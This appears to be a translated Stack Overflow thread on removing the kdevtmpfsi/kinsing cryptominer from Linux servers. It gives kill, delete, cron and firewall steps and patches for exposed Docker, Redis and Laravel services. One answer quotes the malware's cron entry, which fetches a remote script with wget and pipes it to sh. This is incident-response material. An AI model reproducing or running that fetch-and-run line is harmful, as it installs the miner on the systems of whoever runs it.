kdevtmpfsi正在使用整个CPU

Question

kdevtmpfsi正在使用整个CPU

61

我们正在使用一个EC2（Ubuntu）亚马逊实例来运行Apache。最近我们注意到有一个进程占用了整个CPU。

我们使用以下步骤将其移除：

[root@hadoop002 tmp]# systemctl status 25177
● session-5772.scope - Session 5772 of user root
   Loaded: loaded (/run/systemd/system/session-5772.scope; static; vendor preset: disabled)
  Drop-In: /run/systemd/system/session-5772.scope.d
           └─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
   Active: active (abandoned) since Wed 2020-01-22 16:06:01 CST; 1h 21min ago
   CGroup: /user.slice/user-0.slice/session-5772.scope
           ├─19331 /var/tmp/kinsing
           └─25177 /tmp/kdevtmpfsi

Jan 22 16:06:17 hadoop002 crontab[19353]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19354]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19366]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19374]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19375]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19383]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19389]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19390]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19392]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19393]: (root) LIST (root)
[root@hadoop002 tmp]# ps -ef|grep kinsing
root     19331     1  0 16:06 ?        00:00:04 /var/tmp/kinsing
root     25190 23274  0 17:27 pts/0    00:00:00 grep --color=auto kinsing
[root@hadoop002 tmp]# ps -ef|grep kdevtmpfsi
root     25177     1 99 17:27 ?        00:01:47 /tmp/kdevtmpfsi
root     25197 23274  0 17:28 pts/0    00:00:00 grep --color=auto kdevtmpfsi
[root@hadoop002 tmp]# kill -9 19331
[root@hadoop002 tmp]# kill -9 25177
[root@hadoop002 tmp]# rm -rf kdevtmpfsi
[root@hadoop002 tmp]# cd /var/tmp/
[root@hadoop002 tmp]# ll
total 16692
-rw-r--r-- 1 root root        0 Jan 13 19:45 aliyun_assist_update.lock
-rwxr-xr-x 1 root root    13176 Dec 20 02:14 for
-rwxr-xr-x 1 root root 17072128 Jan 19 17:43 kinsing
drwx------ 3 root root     4096 Jan 13 19:50 systemd-private-f3342ea6023044bda27f0261d2582ea3-chronyd.service-O7aPIg
[root@hadoop002 tmp]# rm -rf kinsing

但几分钟后，它又自动开始了。有人知道如何解决吗？

- Shijin TR

我通过更改PHP-FPM端口为9000解决了问题！！！我终止了进程并删除了恶意软件文件。也要重建您的docker镜像！ kill -9 $（pidof kdevtmpfsi） kill -9 $（pidof kinsing） kill $（pgrep kdevtmp） kill $（pgrep kdevtmpfs） find / -iname kdevtmpfsi -exec rm -fv {} ; find / -iname kinsing -exec rm -fv {} ; rm / tmp / kdevtmp * rm / tmp / kinsing * - Cris

19个回答

29

这里提到的解决方案对我们有用。您基本上创建矿工使用的文件，没有任何权限，因此矿工无法创建和使用它们。 https://github.com/docker-library/redis/issues/217

touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing

echo "everything is good here" > /tmp/kdevtmpfsi

echo "everything is good here" > /var/tmp/kinsing

touch /tmp/zzz

echo "everything is good here" > /tmp/zzz

chmod go-rwx /var/tmp

chmod 1777 /tmp

- Husein

3

虽然这个链接可能回答了问题，但你应该在这里包含链接信息。 - clubby789

一段时间后文件会被删除？还有其他可能的解决方案吗？病毒不断重新安装自己。 - Cristóbal Felipe Fica Urzúa

@CristóbalFelipeFicaUrzúa 你在使用PHP吗？我们可以永久解决这个问题。 - Shijin TR

1

我最终解决了这个问题，将用户添加到cron.deny中，并执行您提到的其他所有操作。 - Cristóbal Felipe Fica Urzúa

在我的情况下，是由于PHPUnit文件中的PHP注入问题。我已经创建了一个新的服务器并启用了mod_security。我的建议是使用另一个启用了mod_security的服务器。@CristóbalFelipeFicaUrzúa - Shijin TR

5

这对我没有起作用。它创建了带有随机名称的文件，比如 kdevtmpfsi879654124。 - Amir Heshmati

20

我为这个矿工奋斗了几天，在我的情况下是开放了 php-fpm:9000 端口。
我认为这可能会远程注入一些代码。

所以，如果您使用 docker 和 php-fpm，请勿以此方式运行您的容器：

docker run -v /www:/var/www -p 9000:9000 php:7.4

删除端口映射：~~-p 9000:9000~~。

别忘了重新构建和重启您的容器。

更多细节请参考： https://github.com/laradock/laradock/issues/2451#issuecomment-577722571

- Ovinz

3

这对我来说就是这样了，我的docker-compose.yml文件将php-fpm暴露在互联网上，我今天已经忽略了几次，所以感谢您的回复。 - Liam Potter

1

问题也被我解决了，但是我需要那个端口，所以我没有将其删除，而是将9000端口更改为其他端口。 - Amir Heshmati

3

@AmirHeshmati 你真的需要将php-fpm暴露给外界吗？如果你只想让它对本地机器（localhost）开放，以防其他服务（非docker服务）访问它，你可以将映射限制为127.0.0.1，方法如下：127.0.0.1:9000:9000。你可以搜索“docker expose port only locally”来了解更多信息。 - Ovinz

是的，这对我有效！我杀掉了恶意软件进程和恶意文件，更改了9000 PHP-FPM端口并重建了Docker。 - Cris

18

在安装和运行Flink集群后，我面对这个问题。似乎我们遭到了恶意软件的攻击，它试图利用我们服务器的CPU来运行程序挖取加密货币。

我的解决方案如下：

首先杀死正在运行的程序：
- 运行htop，然后按F9 来杀死程序。同时我们必须杀死kdevtmpfsi和kinsing。
删除将要运行并使用整个CPU的恶意文件（针对我的CentOS 7）

find / -iname kdevtmpfsi -exec rm -fv {} \;

find / -iname kinsing -exec rm -fv {} \;

最终结果应该是：

/tmp/kdevtmpfsi is removed
/var/tmp/kinsing is removed

创建一个与同名文件：

touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing
echo "kdevtmpfsi现在很好" > /tmp/kdevtmpfsi
echo "kinsing现在很好" > /var/tmp/kinsing
现在使用以下命令将这两个文件设置为只读:

chattr +i /tmp/kdevtmpfsi chattr +i /var/tmp/kinsing

** 你应该重新启动你的服务器。如果它是在远程服务器上出现问题，并且您正在使用指定的端口连接到它，则可以更改为ssh端口以增加安全性！

- Houston_926

7

我也受到了这种恶意软件的影响，但我没有使用Docker或者运行PHPUnit漏洞。我找到了这篇文章：https://www.ambionics.io/blog/laravel-debug-rce，它描述了在调试模式下使用Laravel时，facade/ignition < 2.5.2中存在漏洞。

Laravel .env 文件的摘录：

...
APP_DEBUG=true
...

在使用 Composer 更新至版本大于2.5.1的facade/ignition并停止恶意软件（步骤在其他答案中描述）后，它没有重新出现。

Laravel composer.json文件的提取。

...
"facade/ignition": "^2.5.1",
...

...然后运行命令

composer update facade/ignition

- dns_nx

5

嗯，我和你们中的很多人一样都遇到了同样的问题。但我的进程是以postgres用户运行的。我怀疑这是因为我打开了所有传入连接。

是的，我错了。

在尝试了上面所有的解决方案后，似乎没有一个能够永久地解决它。它会不断以略有不同的名称重新生成。真的毫无帮助。

首先 - 防止任何其他连接。

首先，在postgres配置文件中限制连接。

通常可以在这里找到。 /etc/postgresql/12/main/postgresql.conf

创建脚本来杀死和删除kdevtmpfsi

然后在您选择的位置创建新的bash脚本。

nano kill.sh

使用以下内容填充文件。

#!/bin/bash

kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
rm /tmp/kdevtmp*
rm /tmp/kinsing*

按下ctrl + c退出

kill命令将终止进程，接下来的4个命令将删除文件。

我们需要使用以下命令使文件可执行:

chmod +x kill.sh

设置定时运行

好的，现在如果我们将其设置为cron作业，每分钟运行一次，它应该有助于解决问题。(不是一个优雅的解决方案，但确实有效)

sudo crontab -e

上述命令将打开crontab，这是我们可以定义按照设定时间间隔运行的计划任务的地方。

在结尾附加以下内容:

* * * * * sh {absolutepath}kill.sh > /tmp/kill.log

例如:

* * * * * sh /home/user/kill.sh > /tmp/kill.log

cron表条目的功能

* * * * * 设置时间-这意味着每分钟

sh /home/user/kill.sh运行kill脚本

&

> /tmp/kill.log将所有输出写入文件。

我知道这不是一个好的解决方案，但它有效。

- Lewis Morris

1

最佳答案，矿工回来了，有了这个脚本，我成功地在升级我的实例时停止了它。在我的情况下，这是一个旧的GitLab，还要检查crontab（即/var/spool/cron/crontabs/git）。 - Rodrigo

@Lewis 这个方法非常有效，只有一个小问题。每当恶意软件启动其进程时，Postgres服务器就会停止。这大约每隔一天发生一次。 - Haider

@Haider，我的代码没有这个问题，所以他们可能已经更新了代码。只要你的数据库在systemd下运行，并且有正确的配置，它应该会自动重新加载。我知道这很痛苦，但事实就是如此。我写这篇文章已经很久了，现在可能有更好的解决方案。 - Lewis Morris

5

这里的另一个回答很好，你应该做那里提到的所有事情。但是，如果这个问题一直出现，或者你实际上没有使用Docker，那么你可能有一个未修补的phpUnit RCE漏洞。详细信息在这里：https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-rce/php/sid-4487。

我们的情况是：

- 根本没有使用Docker。 - 我们已经删除了与矿工相关的所有文件。 - 我们使用了上面提到的touch和chmod命令来锁定东西。 - 这个可恶的东西似乎在随机时间尝试运行。

在你使用touch/chmod更改锁定后，它实际上无法执行任何操作，但仍然很烦人，而且phpUnit漏洞是一个需要修补的巨大漏洞。

希望这可以帮助您。

- Steven W. Disbrow

4

看起来有许多攻击向量可以加载此恶意软件到服务器上。在我的情况下，恶意软件通过Docker进入了机器：

# locate kdevtmpfsi
/var/lib/docker/overlay2/17be841bd29c[..]/diff/tmp/kdevtmpfsi
/var/lib/docker/overlay2/17be841bd29c[..]/merged/tmp/kdevtmpfsi

默认情况下，Docker会公开容器端口，这是非常不幸的。要解决这个问题，您需要删除恶意软件并修补 Docker：

# First, stop all docker containers
$ docker stop $(docker ps -aq)
# Prune all images just for a good measure
$ docker system prune

# Kill current malware process
$ ps aux | grep kdevtmpfsi
70       21686  393 29.3 2873416 2402832 ?     Ssl  22:01  19:22 /tmp/kdevtmpfsi116044092
$ kill -9 21686
# Remove any files with the name kdevtmpfsi
$ find / -iname kdevtmpfsi* -exec rm -fv {} \;
# You might need to repeat the last two commands couple times just in case 

# Stop exposing docker ports with the use of IP tables
$ iptables -I DOCKER-USER -i eth0 -j DROP
$ iptables -I DOCKER-USER -m state --state RELATED,ESTABLISHED -j ACCEPT

# If no new kdevtmpfsi processes appear you should be good.

恶意软件正在不断发展，许多解决方案已经失效。尝试几种方法，直到您弄清楚在您的情况下是攻击向量。

- Datageek

1

哥们，谢谢！你的回答是今天最实用的。 - bora89

3

在我工作的平台上，我们也遇到了同样的问题，是在ECS2实例上。但是我们的罪魁祸首是Redis，有人在前一天忘记设置密码，早上我们醒来后发现仪表板通知我们CPU使用率出现奇怪的波动。

如果您想验证恶意软件是否仍在运行，请运行ps aux | grep -v grep | grep 'kinsing|kdevtmpfsi'。如果它输出任何内容，则表示以某种形式正在执行。

我们的解决方案是：在我们的Redis数据库中，我们删除了一堆名为“backup1”、“backup2”、“backup3”、“backup4”的键。然后我们通过ssh连接到服务器并使用以下命令：

sudo su root
ps aux | grep -v grep | grep 'kinsing\|kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
rm -dr /tmp/kdevtmpfsi
rm -dr /var/tmp/kdevtmpfsi

我们还成功下载了定期通过Redis和crontab执行的脚本，我猜这就是在我们试图删除它时反复重新安装该该该该恶意软件的原因。它非常精良制作，还会杀死探测到的其他矿工，并试图禁用SELinux、apparmor以及其他一些重要的东西。真是神奇的东西。

我把它粘贴在这里：https://pastebin.com/jiifURXy。

- Guilherme Alves Lopes

3

我在Ubuntu 18.04.5 LTS中删除了恶意软件文件 /tmp/kinsing 和 /tmp/kdevtmpfsi 后，仍面临同样的问题，这两个文件会自动生成。

解决此问题需要创建Bash脚本并设置cronjobs来运行。

我的解决方案如下：

首先结束正在运行的程序：

运行 htop 命令，然后按 F9 来结束程序。我们也必须结束 kdevtmpfsi 和 kinsing。

删除可能运行并使用整个CPU的恶意文件

#!/bin/bash

# kinsing deleteing here
PID=$(pidof kinsing)
echo "$PID"
kill -9 $PID


# /tmp/kinsing deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kinsing)
echo "$PID"
kill -9 $PID


# kdevtmpfsi deleteing here
PID=$(pidof kdevtmpfsi)
echo "$PID"
kill -9 $PID


# /tmp/kdevtmpfsi deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kdevtmpfsi)
echo "$PID"
kill -9 $PID

# Delete malware files
find / -iname kdevtmpfsi -exec rm -fv {} \;

find / -iname kinsing -exec rm -fv {} \;

保存这个文件 (some-script.sh)，并配置它的 cronjobs。

步骤1：输入以下命令打开 crontab(定时任务编辑器)。

$ crontab -e

步骤2：如果您第一次访问crontab，则系统可能会询问您想要使用哪个编辑器。在本示例中，我们将选择nano（输入 1 然后回车），因为它最容易理解。

$ crontab -e
no crontab for linuxconfig - using an empty one

Select an editor.  To change later, run 'select-editor'.
  1. /bin/nano        <---- easiest
  2. /usr/bin/vim.basic
  3. /usr/bin/vim.tiny
  4. /bin/ed

Choose 1-4 [1]:

步骤三：在此文件底部插入以下代码并换行。当然，将我们的示例脚本替换为您想要执行的命令或脚本，但请保留*/5 * * * *部分，因为这是告诉cron每隔5分钟执行作业的内容。

*/5 * * * * /path/to/some-script.sh

第四步：退出并保存更改。在nano中这样做需要按下Ctrl + X，Y，然后Enter键。

就是这样了。在cron中安排作业将每5分钟运行一次。

- Kishore

网页内容由stack overflow 提供, 点击上面的

可以查看英文原文，
原文链接

- Zacktamondo · Accepted Answer

我在Centos 8中遇到了与Laravel相同的问题，这是我遵循的步骤来删除恶意软件并修补系统。

从系统中删除恶意软件的步骤：步骤1：

删除恶意软件：
使用htop或任何其他进程管理器杀死两个进程(kdevtmpfsi和kinsing -它们可以有相同的名称，但结尾随机字符-)。

htop F3搜索服务kdevtmpfsi和kinsing

使用以下命令查找并删除文件：

# find / -iname kdevtmpfsi* -exec rm -fv {} \;
# find / -iname kinsing* -exec rm -fv {} \;

输出应该看起来像：

removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'

步骤2：

检查cron作业：
检查是否存在会重新初始化恶意软件的cron作业。
我在这里找到了我的作业：/var/spool/cron/apache >

Ubuntu系统：/var/spool/cron/crontabs/www-data

它包括以下内容：
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

步骤3：

创建新文件并将其设为只读：

# touch /tmp/kdevtmpfsi && touch /tmp/kinsing
# echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
# echo "kinsing is fine now" > /tmp/kinsing
# chmod 0444 /tmp/kdevtmpfsi
# chmod 0444 /tmp/kinsing

修补Laravel项目：步骤1：

关闭APP_DEBUG：
确保.env中的APP_DEBUG属性为false，因为这是漏洞获取访问权限的方式。

步骤2：

更新Ignition：
将Ignition更新到高于2.5.1的版本，以确保漏洞已修补。
在您的项目文件夹中运行以下命令：

$ composer update facade/ignition

kdevtmpfsi正在使用整个CPU

从系统中删除恶意软件的步骤： 步骤1：

步骤2：

步骤3：

修补Laravel项目： 步骤1：

步骤2：

首先 - 防止任何其他连接。

创建脚本来杀死和删除kdevtmpfsi

设置定时运行

cron表条目的功能

从系统中删除恶意软件的步骤：步骤1：

修补Laravel项目：步骤1：